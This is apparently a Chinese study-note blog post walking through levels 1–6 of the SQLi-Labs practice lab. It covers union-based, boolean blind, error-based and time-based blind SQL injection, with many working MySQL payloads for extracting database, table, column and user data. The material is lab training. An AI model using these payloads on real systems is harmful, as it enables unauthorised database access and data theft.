年初五 财神入

第一关

联合注入

1.准备

2.加'截断

3.order by 判断查询列数

4.同上

5.联合查询判断字段位置

6.查数据库名

7.1 查表名

7.2 查列名

8.查数据

第二关

不需要单引号截断,查询代码用了整数值

其余与第一关相同

第三关

说明用了(' ')结构

换成')即可

第四关

说明用了(" ")结构

换成")即可

第五关

不管输入什么都是提示u r in....

没有回显,尝试盲注

布尔盲注

布尔盲注方式有————

left(1,2)=3 //从左侧截取1的前2位,与3的值比较

ascii(substr(1,2,3)) //从2位置开始截取字符串1的3数值长度,转换为ascii值

regexp //正则匹配目标值和a-z指定值,正确为1,错误为0

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1)

like //和regexp一样

ord() 和 mid()

(1)用left

1.测试

2.测试数据库第一位是否大于b

是否大于y

由此可见第一位在b到y之间,可以用二分法测试,不用二分法的话可以用等于号一个个试

前两位这样测,以此类推

(2)用length量数据库长度

(3)用substr和ascii

and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101 --+

测试表名第一位是不是e

第二位把substr(x,2,1)改成2即可,以此类推

获取第三个表,把limit 0,1改成limit 2,1即可,表示从2开始(顺位第3),取第1个值

(4)用regexp

猜users表的列

and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)

(5)用ord和mid

获取user表内容

and ord(mid((select ifnull(cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68

获取users表中username中的第一行的第一个字符的ascii,与68进行比较

报错盲注

报错盲注类型有————

count,floor,group by

double数值超出范围

bigint溢出 xpath函数——extractvalue和updatexml

数据重复性

(1)floor函数

union select 1,count(*),concat(0x3a,(select user()),0x3a,floor(rand(0)*2))a from information_schema.columns group by a

(2)double数值超出范围

(没能复现成功)

union select (exp(~(select*from(select user())x))),2,3

(3)bigint溢出

(也未能复现成功)

union select(!(select * from(select user())x) - ~0),2,3

(4)xpath函数

and extractvalue(1,concat(0x7e,(select @@version),0x7e))

and updatexml(1,concat(0x7e,(select@@version),0x7e),1)

(5)数据重复性

union select 1,2,3 from(select NAME_CONST(version(),1),NAME_CONST(version(),1))x

时间盲注

时间盲注类型有————

sleep()函数

BENCHMARK()函数

(1)sleep函数

错误,延时5秒

正确

and If(ascii(substr(database(),1,1))=115,1,sleep(5))

(2)BENCHMARK函数

正确

UNION SELECT(IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM(select database() as current)as tb1

当结果正确的时候,运行ENCODE('MSG','by5seconds')操作50000000次,会占用一段时间和CPU资源

第六关

对id参数进行了处理,把'换成''即可

至此已基本介绍完一般注入类型

SQLi-Labs之1~6关 - 常规注入与盲注的更多相关文章

  1. GYCTF 盲注【regexp注入+时间盲注】

    考点:regexp注入+时间盲注 源码: <?php # flag在fl4g里 include 'waf.php'; header("Content-type: text/html; ...

  2. SQL注入之Sqli-labs系列第四十一关(基于堆叠注入的盲注)和四十二关四十三关四十四关四十五关

    0x1普通测试方式 (1)输入and1=1和and1=2测试,返回错误,证明存在注入 (2)union select联合查询 (3)查询表名 (4)其他 payload: ,( ,( 0x2 堆叠注入 ...

  3. SQL注入之Sqli-labs系列第九关和第十关(基于时间盲注的注入)

    开始挑战第九关(Blind- Time based- Single Quotes- String)和第十关( Blind- Time based- Double Quotes- String) gog ...

  4. webgote的例子(6)SQL注入(盲注)

    SQL Injection - Blind (WS/SOAP) 本期演示的是盲注的手法.有些网站在与数据库交互的地方进行了很好的修饰,将报错的语句进行修改,即使你找到了注入点也无法下手拿数据,这个时候 ...

  5. 渗透测试初学者的靶场实战 1--墨者学院SQL注入—布尔盲注

    前言 大家好,我是一个渗透测试的爱好者和初学者,从事网络安全相关工作,由于爱好网上和朋友处找了好多关于渗透的视频.工具等资料,然后自己找了一个靶场,想把自己练习的体会和过程分享出来,希望能对其他渗透爱 ...

  6. SQL注入:盲注

    盲注简介 所谓的盲注就是在服务器没有错误回显的时候完成的注入攻击. 服务器没有错误回显,对于攻击者来说缺少了非常重要的"调试信息". 盲注分类 1.布尔盲注 布尔很明显Ture和F ...

  7. sql注入--bool盲注,时间盲注

    盲注定义: 有时目标存在注入,但在页面上没有任何回显,此时,我们需要利用一些方法进行判断或者尝试得到数据,这个过程称之为盲注. 布尔盲注: 布尔盲注只有true跟false,也就是说它根据你的注入信息 ...

  8. ctfhub技能树—sql注入—时间盲注

    打开靶机 查看页面信息 测试时间盲注 可以看到在执行命令后会有一定时间的等待,确定为时间盲注 直接上脚本 1 #! /usr/bin/env python 2 # _*_ coding:utf-8 _ ...

  9. DVWA-sql注入(盲注)

    DVWA简介 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法 ...

随机推荐

  1. java后端导出excel

    最近工作中需要导出excel.这次机智一点做个笔记,顺便写了一个比较通用的工具类.自然目前不能生成java实体类属性嵌套多次的这种没办法导出了,后续有需要的时候我再改改. 首先,java后端导出exc ...

  2. Spring Boot Admin最佳实践

    本文不进行Spring Boot Admin入门知识点说明 在Spring Boot Actuator中提供很多像health.metrics等实时监控接口,可以方便我们随时跟踪服务的性能指标.Spr ...

  3. OpenCV 实现自己的线性滤波器

    #include "opencv2/imgproc/imgproc.hpp" #include "opencv2/highgui/highgui.hpp" #i ...

  4. proxmox新版本使用了lxc容器,导致以前的vzlist命令无法使用,于是自己写了一个脚本来获取所有半虚拟化主机的信息状态

    #!/usr/bin/env python #encoding:utf-8 # desc:用来描述各个主机信息 import os #CTID NPROC STATUS IP_ADDR HOSTNAM ...

  5. 制作MACOSX 10.9Mavericks安装启动U盘教程

    苹果OS X Mavericks发布了,不少朋友又开始制作系统安装U盘了.其实下面介绍的方法与之前介绍的方法可能有些不同,不过原理还是一样的.下面看看具体的操作步骤吧! 1. 首先你需要开启显示隐藏文 ...

  6. hibernate主键(generator)生成方式

    1) assigned 主键由外部程序负责生成,无需Hibernate参与. 2) hilo 通过hi/lo 算法实现的主键生成机制,需要额外的数据库表保存主键生成历史状态. 3) seqhilo 与 ...

  7. python二叉树及叶节点获取 (面试题)

    才疏学浅,智商不够,花了一晚上看了二叉树.记录一下: 1.二叉树的遍历 前序遍历:根节点->左子树->右子树 中序遍历:左子树->根节点->右子树 后序遍历:左子树->右 ...

  8. Web of science|SCIE|影响因子|SSCI|高被引论文|领域中热点论文|

    信息检索: 数据库 Web of science 影响因子只是针对期刊打分,并不是对文章打分.所以对文章评价可以看引用次数. SCIE (Science Citation Index Expanded ...

  9. Algorithms第3章及少量习题

    第三章的主要思想就是DFS.讲了图上的DFS操作,然后讲了各种应用.这章默认图都是用邻接矩阵存的. procedure explore(G, v) Input: G = (V, E) is a gra ...

  10. Python 列表[::-1]翻转

    b = a[i:j:s]: i为起始索引(缺省为0), j为结束索引(不包括,缺省为len(a)), s为步进(缺省为1). 所以a[i:j:1]相当于a[i:j]. 当s<0时: i缺省时,默 ...